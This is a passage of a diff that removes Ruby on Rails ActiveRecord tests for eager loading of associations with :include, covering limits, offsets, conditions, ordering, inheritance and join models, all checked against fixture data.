-    assert_nil posts.detect { |p| p.author_id != authors(:david).id },
-      "expected to find only david's posts"
-  end
-
-  def test_with_ordering
-    list = Post.find(:all, :include => :comments, :order => "posts.id DESC")
-    [:eager_other, :sti_habtm, :sti_post_and_comments, :sti_comments,
-     :authorless, :thinking, :welcome
-    ].each_with_index do |post, index|
-      assert_equal posts(post), list[index]
-    end
-  end
-
-  def test_with_two_tables_in_from_without_getting_double_quoted
-    posts = Post.find(:all,
-      :select     => "posts.*",
-      :from       => "authors, posts",
-      :include    => :comments,
-      :conditions => "posts.author_id = authors.id",
-      :order      => "posts.id"
-    )
-
-    assert_equal 2, posts.first.comments.size
-  end
-
-  def test_loading_with_multiple_associations
-    posts = Post.find(:all, :include => [ :comments, :author, :categories ], :order => "posts.id")
-    assert_equal 2, posts.first.comments.size
-    assert_equal 2, posts.first.categories.size
-    assert posts.first.comments.include?(comments(:greetings))
-  end
-
-  def test_duplicate_middle_objects
-    comments = Comment.find :all, :conditions => 'post_id = 1', :include => [:post => :author]
-    assert_no_queries do
-      comments.each {|comment| comment.post.author.name}
-    end
-  end
-
-  def test_including_duplicate_objects_from_belongs_to
-    popular_post = Post.create!(:title => 'foo', :body => "I like cars!")
-    comment = popular_post.comments.create!(:body => "lol")
-    popular_post.readers.create!(:person => people(:michael))
-    popular_post.readers.create!(:person => people(:david))
-
-    readers = Reader.find(:all, :conditions => ["post_id = ?", popular_post.id],
-                                :include => {:post => :comments})
-    readers.each do |reader|
-      assert_equal [comment], reader.post.comments
-    end
-  end
-
-  def test_including_duplicate_objects_from_has_many
-    car_post = Post.create!(:title => 'foo', :body => "I like cars!")
-    car_post.categories << categories(:general)
-    car_post.categories << categories(:technology)
-
-    comment = car_post.comments.create!(:body => "hmm")
-    categories = Category.find(:all, :conditions => ["posts.id=?", car_post.id],
-                                 :include => {:posts => :comments})
-    categories.each do |category|
-      assert_equal [comment], category.posts[0].comments
-    end
-  end
-
-  def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
-    author_id = authors(:david).id
-    author = assert_queries(3) { Author.find(author_id, :include => {:posts_with_comments => :comments}) } # find the author, then find the posts, then find the comments
-    author.posts_with_comments.each do |post_with_comments|
-      assert_equal post_with_comments.comments.length, post_with_comments.comments.count
-      assert_equal nil, post_with_comments.comments.uniq!
-    end
-  end
-
-  def test_finding_with_includes_on_has_one_assocation_with_same_include_includes_only_once
-    author = authors(:david)
-    post = author.post_about_thinking_with_last_comment
-    last_comment = post.last_comment
-    author = assert_queries(3) { Author.find(author.id, :include => {:post_about_thinking_with_last_comment => :last_comment})} # find the author, then find the posts, then find the comments
-    assert_no_queries do
-      assert_equal post, author.post_about_thinking_with_last_comment
-      assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
-    end
-  end
-
-  def test_finding_with_includes_on_belongs_to_association_with_same_include_includes_only_once
-    post = posts(:welcome)
-    author = post.author
-    author_address = author.author_address
-    post = assert_queries(3) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author, then find the address
-    assert_no_queries do
-      assert_equal author, post.author_with_address
-      assert_equal author_address, post.author_with_address.author_address
-    end
-  end
-
-  def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
-    post = posts(:welcome)
-    post.update_attributes!(:author => nil)
-    post = assert_queries(1) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author which is null so no query for the author or address
-    assert_no_queries do
-      assert_equal nil, post.author_with_address
-    end
-  end
-
-  def test_loading_from_an_association
-    posts = authors(:david).posts.find(:all, :include => :comments, :order => "posts.id")
-    assert_equal 2, posts.first.comments.size
-  end
-
-  def test_loading_from_an_association_that_has_a_hash_of_conditions
-    assert_nothing_raised do
-      Author.find(:all, :include => :hello_posts_with_hash_conditions)
-    end
-    assert !Author.find(authors(:david).id, :include => :hello_posts_with_hash_conditions).hello_posts.empty?
-  end
-
-  def test_loading_with_no_associations
-    assert_nil Post.find(posts(:authorless).id, :include => :author).author
-  end
-
-  def test_nested_loading_with_no_associations
-    assert_nothing_raised do
-      Post.find(posts(:authorless).id, :include => {:author => :author_addresss})
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_foreign_keys
-    pets = Pet.find(:all, :include => :owner)
-    assert_equal 3, pets.length
-  end
-
-  def test_eager_association_loading_with_belongs_to
-    comments = Comment.find(:all, :include => :post)
-    assert_equal 10, comments.length
-    titles = comments.map { |c| c.post.title }
-    assert titles.include?(posts(:welcome).title)
-    assert titles.include?(posts(:sti_post_and_comments).title)
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit
-    comments = Comment.find(:all, :include => :post, :limit => 5, :order => 'comments.id')
-    assert_equal 5, comments.length
-    assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :order => 'comments.id')
-    assert_equal 3, comments.length
-    assert_equal [5,6,7], comments.collect { |c| c.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_offset
-    comments = Comment.find(:all, :include => :post, :limit => 3, :offset => 2, :order => 'comments.id')
-    assert_equal 3, comments.length
-    assert_equal [3,5,6], comments.collect { |c| c.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id')
-    assert_equal 3, comments.length
-    assert_equal [6,7,8], comments.collect { |c| c.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
-    comments = Comment.find(:all, :include => :post, :conditions => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id')
-    assert_equal 3, comments.length
-    assert_equal [6,7,8], comments.collect { |c| c.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
-    assert_nothing_raised do
-      Comment.find(:all, :include => :post, :conditions => ['posts.id = ?',4])
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_conditions_hash
-    comments = []
-    assert_nothing_raised do
-      comments = Comment.find(:all, :include => :post, :conditions => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id')
-    end
-    assert_equal 3, comments.length
-    assert_equal [5,6,7], comments.collect { |c| c.id }
-    assert_no_queries do
-      comments.first.post
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
-    quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
-    assert_nothing_raised do
-      Comment.find(:all, :include => :post, :conditions => ["#{quoted_posts_id} = ?",4])
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
-    assert_nothing_raised do
-      Comment.find(:all, :include => :post, :order => 'posts.id')
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
-    quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
-    assert_nothing_raised do
-      Comment.find(:all, :include => :post, :order => quoted_posts_id)
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
-    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :order => 'posts.id')
-    assert_equal 1, posts.length
-    assert_equal [1], posts.collect { |p| p.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
-    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id')
-    assert_equal 1, posts.length
-    assert_equal [2], posts.collect { |p| p.id }
-  end
-
-  def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
-    author_favorite = AuthorFavorite.find(:first, :include => :favorite_author)
-    assert_equal authors(:mary), assert_no_queries { author_favorite.favorite_author }
-  end
-
-  def test_eager_load_belongs_to_quotes_table_and_column_names
-    job = Job.find jobs(:unicyclist).id, :include => :ideal_reference
-    references(:michael_unicyclist)
-    assert_no_queries{ assert_equal references(:michael_unicyclist), job.ideal_reference}
-  end
-
-  def test_eager_load_has_one_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :favourite_reference)
-    references(:michael_unicyclist)
-    assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
-  end
-
-  def test_eager_load_has_many_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :references)
-    references(:michael_magician,:michael_unicyclist)
-    assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
-  end
-
-  def test_eager_load_has_many_through_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :jobs)
-    jobs(:magician, :unicyclist)
-    assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
-  end
-
-  def test_eager_load_has_many_with_string_keys
-    subscriptions = subscriptions(:webster_awdr, :webster_rfr)
-    subscriber =Subscriber.find(subscribers(:second).id, :include => :subscriptions)
-    assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)
-  end
-  
-  def test_eager_load_has_many_through_with_string_keys
-    books = books(:awdr, :rfr)
-    subscriber = Subscriber.find(subscribers(:second).id, :include => :books)
-    assert_equal books, subscriber.books.sort_by(&:id)
-  end
-  
-  def test_eager_load_belongs_to_with_string_keys
-    subscriber = subscribers(:second)
-    subscription = Subscription.find(subscriptions(:webster_awdr).id, :include => :subscriber)
-    assert_equal subscriber, subscription.subscriber
-  end
-
-  def test_eager_association_loading_with_explicit_join
-    posts = Post.find(:all, :include => :comments, :joins => "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", :limit => 1, :order => 'author_id')
-    assert_equal 1, posts.length
-  end
-
-  def test_eager_with_has_many_through
-    posts_with_comments = people(:michael).posts.find(:all, :include => :comments, :order => 'posts.id')
-    posts_with_author = people(:michael).posts.find(:all, :include => :author, :order => 'posts.id')
-    posts_with_comments_and_author = people(:michael).posts.find(:all, :include => [ :comments, :author ], :order => 'posts.id')
-    assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum += post.comments.size }
-    assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
-    assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
-  end
-
-  def test_eager_with_has_many_through_a_belongs_to_association
-    author = authors(:mary)
-    post = Post.create!(:author => author, :title => "TITLE", :body => "BODY")
-    author.author_favorites.create(:favorite_author_id => 1)
-    author.author_favorites.create(:favorite_author_id => 2)
-    posts_with_author_favorites = author.posts.find(:all, :include => :author_favorites)
-    assert_no_queries { posts_with_author_favorites.first.author_favorites.first.author_id }
-  end
-
-  def test_eager_with_has_many_through_an_sti_join_model
-    author = Author.find(:first, :include => :special_post_comments, :order => 'authors.id')
-    assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
-  end
-
-  def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
-    author = Author.find(:first, :include => :special_nonexistant_post_comments, :order => 'authors.id')
-    assert_equal [], author.special_nonexistant_post_comments
-  end
-
-  def test_eager_with_has_many_through_join_model_with_conditions
-    assert_equal Author.find(:first, :include => :hello_post_comments,
-                             :order => 'authors.id').hello_post_comments.sort_by(&:id),
-                 Author.find(:first, :order => 'authors.id').hello_post_comments.sort_by(&:id)
-  end
-
-  def test_eager_with_has_many_through_join_model_with_conditions_on_top_level
-    assert_equal comments(:more_greetings), Author.find(authors(:david).id, :include => :comments_with_order_and_conditions).comments_with_order_and_conditions.first
-  end
-
-  def test_eager_with_has_many_through_with_conditions_join_model_with_include
-    post_tags = Post.find(posts(:welcome).id).misc_tags
-    eager_post_tags = Post.find(1, :include => :misc_tags).misc_tags
-    assert_equal post_tags, eager_post_tags
-  end
-
-  def test_eager_with_has_many_through_association_with_order
-    author_comments = Author.find(authors(:david).id).comments_desc
-    eager_author_comments = Author.find(authors(:david).id, :include => :comments_desc).comments_desc
-    assert_equal eager_author_comments, author_comments
-  end
-  
-  def test_eager_with_has_many_through_join_model_with_include
-    author_comments = Author.find(authors(:david).id, :include => :comments_with_include).comments_with_include.to_a
-    assert_no_queries do
-      author_comments.first.post.title
-    end
-  end
-
-  def test_eager_with_has_many_and_limit
-    posts = Post.find(:all, :order => 'posts.id asc', :include => [ :author, :comments ], :limit => 2)
-    assert_equal 2, posts.size
-    assert_equal 3, posts.inject(0) { |sum, post| sum += post.comments.size }
-  end
-
-  def test_eager_with_has_many_and_limit_and_conditions
-    if current_adapter?(:OpenBaseAdapter)
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id")
-    else
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.body = 'hello'", :order => "posts.id")
-    end
-    assert_equal 2, posts.size
-    assert_equal [4,5], posts.collect { |p| p.id }
-  end
-
-  def test_eager_with_has_many_and_limit_and_conditions_array
-    if current_adapter?(:OpenBaseAdapter)
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id")
-    else
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "posts.body = ?", 'hello' ], :order => "posts.id")
-    end
-    assert_equal 2, posts.size
-    assert_equal [4,5], posts.collect { |p| p.id }
-  end
-
-  def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
-    assert_equal 2, posts.size
-
-    count = Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
-    assert_equal count, posts.size
-  end
-
-  def test_eager_with_has_many_and_limit_and_high_offset
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
-    assert_equal 0, posts.size
-  end
-
-  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
-    assert_queries(1) do
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
-        :conditions => [ "authors.name = ? and comments.body = ?", 'David', 'go crazy' ])
-      assert_equal 0, posts.size
-    end
-  end
-
-  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
-    assert_queries(1) do
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
-        :conditions => { 'authors.name' => 'David', 'comments.body' => 'go crazy' })
-      assert_equal 0, posts.size
-    end
-  end
-
-  def test_count_eager_with_has_many_and_limit_and_high_offset
-    posts = Post.count(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
-    assert_equal 0, posts
-  end
-
-  def test_eager_with_has_many_and_limit_with_no_results
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.title = 'magic forest'")
-    assert_equal 0, posts.size
-  end
-
-  def test_eager_count_performed_on_a_has_many_association_with_multi_table_conditional
-    author = authors(:david)
-    author_posts_without_comments = author.posts.select { |post| post.comments.blank? }
-    assert_equal author_posts_without_comments.size, author.posts.count(:all, :include => :comments, :conditions => 'comments.id is null')
-  end
-  
-  def test_eager_count_performed_on_a_has_many_through_association_with_multi_table_conditional
-    person = people(:michael)
-    person_posts_without_comments = person.posts.select { |post| post.comments.blank? }
-    assert_equal person_posts_without_comments.size, person.posts_with_no_comments.count
-  end
-
-  def test_eager_with_has_and_belongs_to_many_and_limit
-    posts = Post.find(:all, :include => :categories, :order => "posts.id", :limit => 3)
-    assert_equal 3, posts.size
-    assert_equal 2, posts[0].categories.size
-    assert_equal 1, posts[1].categories.size
-    assert_equal 0, posts[2].categories.size
-    assert posts[0].categories.include?(categories(:technology))
-    assert posts[1].categories.include?(categories(:general))
-  end
-
-  def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
-    posts = authors(:david).posts.find(:all,
-      :include    => :comments,
-      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
-      :limit      => 2
-    )
-    assert_equal 2, posts.size
-
-    count = Post.count(
-      :include    => [ :comments, :author ],
-      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
-      :limit      => 2
-    )
-    assert_equal count, posts.size
-  end
-
-  def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
-    posts = nil
-    Post.with_scope(:find => {
-      :include    => :comments,
-      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'"
-    }) do
-      posts = authors(:david).posts.find(:all, :limit => 2)
-      assert_equal 2, posts.size
-    end
-
-    Post.with_scope(:find => {
-      :include    => [ :comments, :author ],
-      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')"
-    }) do
-      count = Post.count(:limit => 2)
-      assert_equal count, posts.size
-    end
-  end
-
-  def test_eager_with_has_many_and_limit_and_scoped_and_explicit_conditions_on_the_eagers
-    Post.with_scope(:find => { :conditions => "1=1" }) do
-      posts = authors(:david).posts.find(:all,
-        :include    => :comments,
-        :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
-        :limit      => 2
-      )
-      assert_equal 2, posts.size
-
-      count = Post.count(
-        :include    => [ :comments, :author ],
-        :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
-        :limit      => 2
-      )
-      assert_equal count, posts.size
-    end
-  end
-
-  def test_eager_with_scoped_order_using_association_limiting_without_explicit_scope
-    posts_with_explicit_order = Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :order => 'posts.id DESC', :limit => 2)
-    posts_with_scoped_order = Post.with_scope(:find => {:order => 'posts.id DESC'}) do
-      Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :limit => 2)
-    end
-    assert_equal posts_with_explicit_order, posts_with_scoped_order
-  end
-
-  def test_eager_association_loading_with_habtm
-    posts = Post.find(:all, :include => :categories, :order => "posts.id")
-    assert_equal 2, posts[0].categories.size
-    assert_equal 1, posts[1].categories.size
-    assert_equal 0, posts[2].categories.size
-    assert posts[0].categories.include?(categories(:technology))
-    assert posts[1].categories.include?(categories(:general))
-  end
-
-  def test_eager_with_inheritance
-    posts = SpecialPost.find(:all, :include => [ :comments ])
-  end
-
-  def test_eager_has_one_with_association_inheritance
-    post = Post.find(4, :include => [ :very_special_comment ])
-    assert_equal "VerySpecialComment", post.very_special_comment.class.to_s
-  end
-
-  def test_eager_has_many_with_association_inheritance
-    post = Post.find(4, :include => [ :special_comments ])
-    post.special_comments.each do |special_comment|
-      assert_equal "SpecialComment", special_comment.class.to_s
-    end
-  end
-
-  def test_eager_habtm_with_association_inheritance
-    post = Post.find(6, :include => [ :special_categories ])
-    assert_equal 1, post.special_categories.size
-    post.special_categories.each do |special_category|
-      assert_equal "SpecialCategory", special_category.class.to_s
-    end
-  end
-
-  def test_eager_with_has_one_dependent_does_not_destroy_dependent
-    assert_not_nil companies(:first_firm).account
-    f = Firm.find(:first, :include => :account,
-            :conditions => ["companies.name = ?", "37signals"])
-    assert_not_nil f.account
-    assert_equal companies(:first_firm, :reload).account, f.account
-  end
-
-  def test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size
-    author = authors(:david)
-    posts_with_no_comments = author.posts.select { |post| post.comments.blank? }
-    assert_equal posts_with_no_comments.size, author.posts_with_no_comments.size
-    assert_equal posts_with_no_comments, author.posts_with_no_comments
-  end
-
-  def test_eager_with_invalid_association_reference
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      post = Post.find(6, :include=> :monkeys )
-    }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      post = Post.find(6, :include=>[ :monkeys ])
-    }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      post = Post.find(6, :include=>[ 'monkeys' ])
-    }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
-      post = Post.find(6, :include=>[ :monkeys, :elephants ])
-    }
-  end
-
-  def find_all_ordered(className, include=nil)
-    className.find(:all, :order=>"#{className.table_name}.#{className.primary_key}", :include=>include)
-  end
-
-  def test_limited_eager_with_order
-    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title)', :limit => 2, :offset => 1)
-    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title) DESC', :limit => 2, :offset => 1)
-  end
-
-  def test_limited_eager_with_multiple_order_columns
-    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title), posts.id', :limit => 2, :offset => 1)
-    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title) DESC, posts.id', :limit => 2, :offset => 1)
-  end
-
-  def test_preload_with_interpolation
-    assert_equal [comments(:greetings)], Post.find(posts(:welcome).id, :include => :comments_with_interpolated_conditions).comments_with_interpolated_conditions
-  end
-
-  def test_polymorphic_type_condition
-    post = Post.find(posts(:thinking).id, :include => :taggings)
-    assert post.taggings.include?(taggings(:thinking_general))
-    post = SpecialPost.find(posts(:thinking).id, :include => :taggings)
-    assert post.taggings.include?(taggings(:thinking_general))
-  end
-
-  def test_eager_with_multiple_associations_with_same_table_has_many_and_habtm
-    # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
-    def assert_equal_after_sort(item1, item2, item3 = nil)
-      assert_equal(item1.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id})
-      assert_equal(item3.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id}) if item3
-    end
-    # Test regular association, association with conditions, association with
-    # STI, and association with conditions assured not to be true
-    post_types = [:posts, :other_posts, :special_posts]
-    # test both has_many and has_and_belongs_to_many
-    [Author, Category].each do |className|
-      d1 = find_all_ordered(className)
-      # test including all post types at once
-      d2 = find_all_ordered(className, post_types)
-      d1.each_index do |i|
-        assert_equal(d1[i], d2[i])
-        assert_equal_after_sort(d1[i].posts, d2[i].posts)
-        post_types[1..-1].each do |post_type|
-          # test including post_types together
-          d3 = find_all_ordered(className, [:posts, post_type])
-          assert_equal(d1[i], d3[i])
-          assert_equal_after_sort(d1[i].posts, d3[i].posts)
-          assert_equal_after_sort(d1[i].send(post_type), d2[i].send(post_type), d3[i].send(post_type))
-        end
-      end
-    end
-  end
-
-  def test_eager_with_multiple_associations_with_same_table_has_one
-    d1 = find_all_ordered(Firm)
-    d2 = find_all_ordered(Firm, :account)
-    d1.each_index do |i|
-      assert_equal(d1[i], d2[i])
-      assert_equal(d1[i].account, d2[i].account)
-    end
-  end
-
-  def test_eager_with_multiple_associations_with_same_table_belongs_to
-    firm_types = [:firm, :firm_with_basic_id, :firm_with_other_name, :firm_with_condition]
-    d1 = find_all_ordered(Client)
-    d2 = find_all_ordered(Client, firm_types)
-    d1.each_index do |i|
-      assert_equal(d1[i], d2[i])
-      firm_types.each { |type| assert_equal(d1[i].send(type), d2[i].send(type)) }
-    end
-  end
-  def test_eager_with_valid_association_as_string_not_symbol
-    assert_nothing_raised { Post.find(:all, :include => 'comments') }
-  end
-
-  def test_eager_with_floating_point_numbers
-    assert_queries(2) do
-      # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
-      Comment.find :all, :conditions => "123.456 = 123.456", :include => :post
-    end
-  end
-
-  def test_preconfigured_includes_with_belongs_to
-    author = posts(:welcome).author_with_posts
-    assert_no_queries {assert_equal 5, author.posts.size}
-  end
-
-  def test_preconfigured_includes_with_has_one
-    comment = posts(:sti_comments).very_special_comment_with_post
-    assert_no_queries {assert_equal posts(:sti_comments), comment.post}
-  end
-
-  def test_preconfigured_includes_with_has_many
-    posts = authors(:david).posts_with_comments
-    one = posts.detect { |p| p.id == 1 }
-    assert_no_queries do
-      assert_equal 5, posts.size
-      assert_equal 2, one.comments.size
-    end
-  end
-
-  def test_preconfigured_includes_with_habtm
-    posts = authors(:david).posts_with_categories
-    one = posts.detect { |p| p.id == 1 }
-    assert_no_queries do
-      assert_equal 5, posts.size
-      assert_equal 2, one.categories.size
-    end
-  end
-
-  def test_preconfigured_includes_with_has_many_and_habtm
-    posts = authors(:david).posts_with_comments_and_categories
-    one = posts.detect { |p| p.id == 1 }
-    assert_no_queries do
-      assert_equal 5, posts.size
-      assert_equal 2, one.comments.size
-      assert_equal 2, one.categories.size
-    end
-  end
-
-  def test_count_with_include
-    if current_adapter?(:SybaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "len(comments.body) > 15")
-    elsif current_adapter?(:OpenBaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(FETCHBLOB(comments.body)) > 15")
-    else
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(comments.body) > 15")
-    end
-  end
-
-  def test_load_with_sti_sharing_association
-    assert_queries(2) do #should not do 1 query per subclass
-      Comment.find :all, :include => :post
-    end
-  end
-
-  def test_conditions_on_join_table_with_include_and_limit
-    assert_equal 3, Developer.find(:all, :include => 'projects', :conditions => 'developers_projects.access_level = 1', :limit => 5).size
-  end
-
-  def test_order_on_join_table_with_include_and_limit
-    assert_equal 5, Developer.find(:all, :include => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).size
-  end
-
-  def test_eager_loading_with_order_on_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.find(:all, :joins => :comments, :include => :author, :order => 'comments.id DESC')
-    end
-    assert_equal posts(:eager_other), posts[0]
-    assert_equal authors(:mary), assert_no_queries { posts[0].author}
-  end
-
-  def test_eager_loading_with_conditions_on_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-
-    posts = assert_queries(2) do
-      Post.find(:all, :include => :author, :joins => {:taggings => :tag}, :conditions => "tags.name = 'General'", :order => 'posts.id')
-    end
-    assert_equal posts(:welcome, :thinking), posts
-
-    posts = assert_queries(2) do
-      Post.find(:all, :include => :author, :joins => {:taggings => {:tag => :taggings}}, :conditions => "taggings_tags.super_tag_id=2", :order => 'posts.id')
-    end
-    assert_equal posts(:welcome, :thinking), posts
-
-  end
-
-  def test_eager_loading_with_conditions_on_string_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-
-  end
-
-  def test_eager_loading_with_select_on_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'posts.*, authors.name as author_name', :include => :comments, :joins => :author, :order => 'posts.id')
-    end
-    assert_equal 'David', posts[0].author_name
-    assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments}
-  end
-
-  def test_eager_loading_with_conditions_on_join_model_preloads
-    authors = assert_queries(2) do
-      Author.find(:all, :include => :author_address, :joins => :comments, :conditions => "posts.title like 'Welcome%'")
-    end
-    assert_equal authors(:david), authors[0]
-    assert_equal author_addresses(:david_address), authors[0].author_address
-  end
-
-  def test_preload_belongs_to_uses_exclusive_scope
-    people = Person.males.find(:all, :include => :primary_contact)
-    assert_not_equal people.length, 0
-    people.each do |person|
-      assert_no_queries {assert_not_nil person.primary_contact}
-      assert_equal Person.find(person.id).primary_contact, person.primary_contact
-    end
-  end
-
-  def test_preload_has_many_uses_exclusive_scope
-    people = Person.males.find :all, :include => :agents
-    people.each do |person|
-      assert_equal Person.find(person.id).agents, person.agents
-    end
-  end
-
-  def test_preload_has_many_using_primary_key
-    expected = Firm.find(:first).clients_using_primary_key.to_a
-    firm = Firm.find :first, :include => :clients_using_primary_key
-    assert_no_queries do
-      assert_equal expected, firm.clients_using_primary_key
-    end
-  end
-
-  def test_include_has_many_using_primary_key
-    expected = Firm.find(1).clients_using_primary_key.sort_by &:name
-    firm = Firm.find 1, :include => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name'
-    assert_no_queries do
-      assert_equal expected, firm.clients_using_primary_key
-    end
-  end
-  
-  def test_preload_has_one_using_primary_key
-    expected = Firm.find(:first).account_using_primary_key
-    firm = Firm.find :first, :include => :account_using_primary_key
-    assert_no_queries do
